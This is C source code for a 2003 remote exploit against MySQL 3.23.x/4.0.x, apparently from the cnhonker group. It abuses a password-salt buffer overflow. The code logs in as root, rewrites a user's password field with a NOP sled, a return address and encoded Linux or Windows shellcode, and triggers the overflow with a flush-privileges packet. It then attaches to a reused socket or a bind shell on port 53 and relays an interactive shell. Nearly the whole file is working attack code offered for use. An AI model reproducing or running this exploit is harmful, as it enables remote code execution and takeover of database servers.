|
/* exp for mysql ([get_salt_from_password] problem) * proof of concept * using jmp *eax for linux * using jmp *edx for windows * bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com) 2003/09/13 * Welcome to http://www.cnhonker.com * compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/select.h> #include <netdb.h> #include <mysql/mysql.h> #define ROOTUSER "root" #define PORT 3306 #define MYDB "mysql" #define ALTCOLUMSQL "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT" #define LISTUSERSQL "SELECT user FROM mysql.user WHERE user!='root' LIMIT 0,1" #define FLUSHSQL "\x11\x00\x00\x00\x03\x66\x6C\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6C\x65\x67\x65\x73" #define BUF 2048 #define VER "2.0b4" MYSQL *conn; char NOP[]="90"; char linux_shellcode[]= "db31c03102b0c931" "c08580cdc3893474" "d231c03180cd07b0" "40b0c03109b180cd" "c031c38980cd25b0" "80c2fe43f07203fa" "14b0c031c38980cd" "c931c03125b009b1" "17b080cdc03180cd" "89504050b0c931e3" "b180cda283c889e0" "d0f70ae831c78940" "894c40c0525050e2" "4c8d5157db310424" "66b00ab3835980cd" "057501f874493a80" "31d2e209c38940c0" "fb8980cd3fb003b1" "4180cd496851f8e2" "68732f6e622f2f68" "51e389696c692d68" "51e28970e1895352" "c031d23180cd0bb0" ; //bind on 53 port char win_shellcode[]= "4A5A10EBB966C9333480017DFAE2990A" "EBE805EB70FFFFFF99999895A938FDC3" "12999999E91295D9D912348512411291" "ED12A5EA6A9AE1879AB9E7128DD71262" "CECF74AA9AA612C8F36B12623F6AC097" "C6C091EDDC9D5E1AC6C0707B125412C7" "5A9ABDDF589A784812FF50AA85DF1291" "78585A9A12589A9B125A9A991A6E1263" "4912975F71C09AF39999991ECB945F1A" "65CE66CFF34112C3ED71C09CC9999999" "F3C9C9C9669BF398411275CE999B9E5E" "59AAAC99F39DDE1066CACE8998F369CE" "6DCE66CA66CAC9C9491261CE12DD751A" "F359AA6D9D10C08910627B17CF10A1CF" "D9CF10A5B5DF5EFFDE149898AACFC989" "C8C8C850C8C898F3FAA5DE5E1499FDF4" "C8C9A5DECB79CE66CA65CE66C965CE66" "AA7DCE66591C3559CBC860EC4B66CACF" "7B32C0C35A59AA7766677671EDFCDE66" "FAF6EBC9EBFDFDD899EAEAFCF8FCEBDA" "EBC9FCEDEAFCFAF6DC99D8EACDEDF0E1" "F8FCEBF1F6D599FDF0D5FDF8EBF8EBFB" "EE99D8E0AAC6ABEACACE99ABFAF6CAD8" "D8EDFCF2F7F0FB99F0F599FDF7FCEDEA" "FAFAF89999EDE9FCEAF6F5FAFAF6EAFC" "99EDFCF2"; int win_port=53; int type=1; struct { char *os; u_long ret; int pad; int systemtype; //0 is linux,1 is windows } targets[] = { { "linux:glibc-2.2.93-5", 0x42125b2b,19*4*2,0}, // { "windows2000 SP3 CN",0x77e625db,9*4*2,1}, { "windows2000 SP4 CN",0x77e7bec3,9*4*2,1}, },v; void usage(char *); void sqlerror(char *); MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname); main(int argc,char **argv) { MYSQL_RES *result; MYSQL_ROW row; char jmpaddress[8]; char buffer[BUF],muser[20],buf2[1200]; my_ulonglong rslines; struct sockaddr_in clisocket; int i=0,j,clifd,count,a; char data1,c; fd_set fds; char *server=NULL,*rootpass=NULL; int pad,systemtype; u_long jmpaddr; if(argc<3) usage(argv[0]); while((c = getopt(argc, argv, "d:t:p:"))!= EOF) { switch (c) { case 'd': server=optarg; break; case 't': type = atoi(optarg); if((type > sizeof(targets)/sizeof(v)) || (type < 1)) usage(argv[0]); break; case 'p': rootpass=optarg; break; default: usage(argv[0]); return 1; } } if(server==NULL || rootpass==NULL) usage(argv[0]); memset(muser,0,20); memset(buf2,0,1200); pad=targets[type-1].pad; systemtype=targets[type-1].systemtype; jmpaddr=targets[type-1].ret; printf("@-------------------------------------------------@\n"); printf("# Mysql 3.23.x/4.0.x remote exploit(09/13)-%s #\n",VER); printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n"); printf("---------------------------------------------------\n"); printf("[+] system type:%s,using ret addr:%p,pad:%d\n",(systemtype==0)?"linux":"windows",jmpaddr,pad); printf("[+] Connecting to mysql server %s:%d....",server,PORT); fflush(stdout); conn=mysqlconn(server,PORT,ROOTUSER,rootpass,MYDB); if(conn==NULL) exit(0); printf("ok\n"); printf("[+] ALTER user column..."); fflush(stdout); if(mysql_real_query(conn,ALTCOLUMSQL,strlen(ALTCOLUMSQL))!=0) sqlerror("ALTER user table failed"); //select printf("ok\n"); printf("[+] Select a valid user..."); fflush(stdout); if(mysql_real_query(conn,LISTUSERSQL,strlen(LISTUSERSQL))!=0) sqlerror("select user from table failed"); result=mysql_store_result(conn); if(result==NULL) sqlerror("store result error"); rslines=mysql_num_rows(result); if(rslines==0) sqlerror("Cannot find a user"); row=mysql_fetch_row(result); snprintf(muser,19,"%s",row[0]); printf("ok\n"); printf("[+] Found a user:%s\n",muser); memset(buffer,0,BUF); i=sprintf(buffer,"update user set password='"); sprintf(jmpaddress,"%x",jmpaddr); jmpaddress[8]=0; for(j=0;j<pad-4;j+=2) { memcpy(buf2+j,NOP,2); } memcpy(buf2+j,"06eb",4); memcpy(buf2+pad,jmpaddress,8); switch(systemtype) { case 0: memcpy(buf2+pad+8,linux_shellcode,strlen(linux_shellcode)); break; case 1: memcpy(buf2+pad+8,win_shellcode,strlen(win_shellcode)); break; default: printf("[-] Not support this systemtype\n"); mysql_close(conn); exit(0); } j=strlen(buf2); if(j%8) { j=j/8+1; count=j*8-strlen(buf2); memset(buf2+strlen(buf2),'A',count); } printf("[+] Password length:%d\n",strlen(buf2)); memcpy(buffer+i,buf2,strlen(buf2)); i+=strlen(buf2); i+=sprintf(buffer+i,"' where user='%s'",muser); mysql_free_result(result); printf("[+] Modified password..."); fflush(stdout); //get result //write(2,buffer,i); if(mysql_real_query(conn,buffer,i)!=0) sqlerror("Modified password error"); //here I'll find client socket fd printf("ok\n"); printf("[+] Finding client socket......"); j=sizeof(clisocket); for(clifd=3;clifd<256;clifd++) { if(getpeername(clifd,(struct sockaddr *)&clisocket,&j)==-1) continue; if(clisocket.sin_port==htons(PORT)) break; } if(clifd==256) { printf("FAILED\n[-] Cannot find client socket\n"); mysql_close(conn); exit(0); } printf("ok\n"); printf("[+] socketfd:%d\n",clifd); //let server overflow printf("[+] Overflow server...."); fflush(stdout); send(clifd,FLUSHSQL,sizeof(FLUSHSQL),0); //if(mysql_real_query(conn,FLUSHSQL,strlen(FLUSHSQL))!=0) // sqlerror("Flush error"); printf("ok\n"); if(systemtype==0) { printf("[+] sending OOB......."); fflush(stdout); data1='I'; if(send(clifd,&data1,1,MSG_OOB)<1) { perror("error"); mysql_close(conn); exit(0); } printf("ok\r\n"); } printf("[+] Waiting for a shell.....\n"); if(systemtype==1) { clifd=socket(AF_INET,SOCK_STREAM,0); client_connect(clifd,server,win_port); } //printf("[+] Waiting a shell....."); fflush(stdout); execsh(clifd); mysql_close(conn); exit(0); } int execsh(int clifd) { fd_set fds; int count; char buffer[BUF]; memset(buffer,0,BUF); while(1) { FD_ZERO(&fds); FD_SET(0, &fds); FD_SET(clifd, &fds); if (select(clifd+1, &fds, NULL, NULL, NULL) < 0) { if (errno == EINTR) continue; break; } if (FD_ISSET(0, &fds)) { count = read(0, buffer, BUF); if (count <= 0) break; if (write(clifd, buffer, count) <= 0) break; memset(buffer,0,BUF); } if (FD_ISSET(clifd, &fds)) { count = read(clifd, buffer, BUF); if (count <= 0) break; if (write(1, buffer, count) <= 0) break; memset(buffer,0,BUF); } } } void usage(char *s) { int a; printf("@-------------------------------------------------@\n"); printf("# Mysql 3.23.x/4.0.x remote exploit(09/13)-%s #\n",VER); printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n"); printf("---------------------------------------------------\n"); printf("Usage:%s -d <host> -p <root_pass> -t <type>\n",s); printf(" -d target host ip/name\n"); printf(" -p 'root' user paasword\n"); printf(" -t type [default:%d]\n",type); printf(" ------------------------------\n"); for(a = 0; a < sizeof(targets)/sizeof(v); a++) printf(" %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os); printf("\n"); exit(0); } MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname) { MYSQL *connect; connect=mysql_init(NULL); if(connect==NULL) { printf("FAILED\n[-] init mysql failed:%s\n",mysql_error(connect)); return NULL; } if(mysql_real_connect(connect,server,user,pass,dbname,port,NULL,0)==NULL) { printf("FAILED\n[-] Error: %s\n",mysql_error(connect)); return NULL; } return connect; } void sqlerror(char *s) { fprintf(stderr,"FAILED\n[-] %s:%s\n",s,mysql_error(conn)); mysql_close(conn); exit(0); } int client_connect(int sockfd,char* server,int port) { struct sockaddr_in cliaddr; struct hostent *host; if((host=gethostbyname(server))==NULL) { printf("gethostbyname(%s) error\n",server); return(-1); } bzero(&cliaddr,sizeof(struct sockaddr)); cliaddr.sin_family=AF_INET; cliaddr.sin_port=htons(port); cliaddr.sin_addr=*((struct in_addr *)host->h_addr); printf("[+] Trying %s:%d....",server,port); fflush(stdout); if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0) { printf("error:%s\r\n",strerror(errno)); return(-1); } printf("ok\r\n"); return(0); }